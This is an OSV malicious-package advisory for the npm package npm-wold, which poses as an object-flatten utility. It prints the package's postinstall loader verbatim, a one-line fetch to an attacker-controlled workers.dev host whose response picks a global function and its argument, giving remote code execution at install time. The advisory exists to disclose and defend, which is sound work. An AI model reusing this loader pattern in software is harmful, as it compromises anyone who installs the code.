MAL-2026-14252

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/npm-wold/MAL-2026-14252.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-14252
Published
2026-08-19T04:19:28Z
Modified
2026-08-19T05:00:16Z
Summary
Malicious code in npm-wold (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (731c22e563f2ea15800d87f345de9b8363c0c715e9f39606201d47a8fb422ab1)

npm-wold@1.1.1 declares a postinstall script (node dist/config.js) that, on npm install, issues an HTTPS GET to the hardcoded endpoint https://my-api.trade-api.workers.dev?id=4 and uses fields from the JSON response to dynamically invoke a global function with an attacker-supplied argument: fetch('https://my-api.trade-api.workers.dev?id=4').then(res=>res.json()).then(data=>globalThis[data.success](data.id)). The same file also contains globalThis[tag](text) with tag/text unresolved in the file, consistent with a staged/injected loader. The package advertises itself as an object-flatten utility, and there is no library reason for a lifecycle script to fetch remote JSON and route it through a dynamic global dispatcher. The remote server chooses both the function name and its argument, giving it code execution on the installer at install time.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-018359",
            "import_time": "2026-08-19T04:47:46.954754881Z",
            "modified_time": "2026-08-19T04:19:28Z",
            "sha256": "731c22e563f2ea15800d87f345de9b8363c0c715e9f39606201d47a8fb422ab1",
            "source": "amazon-inspector",
            "versions": [
                "1.1.1"
            ]
        },
        {
            "id": "IN-MAL-2026-018360",
            "import_time": "2026-08-19T04:47:47.018360712Z",
            "modified_time": "2026-08-19T04:19:36Z",
            "sha256": "93f3208f7de7ea0e9a981af668cf1d4897f75ebd7672ba90466e2b68bc7c6d65",
            "source": "amazon-inspector",
            "versions": [
                "1.1.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / npm-wold

Package

Name
npm-wold
View open source insights on deps.dev
Purl
pkg:npm/npm-wold

Affected ranges

Affected versions

1.*
1.1.1
1.1.2

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "dist/config.js",
            "sha256": "8d5139c63992b734de689e2498a304172e90b9f44acdf39ca83a4acb5d46ace7",
            "tlsh": "4bd09577c28d5024641070ddd00506207583d562c73dc417f91dddd1dce5964da01134"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/npm-wold/MAL-2026-14252.json"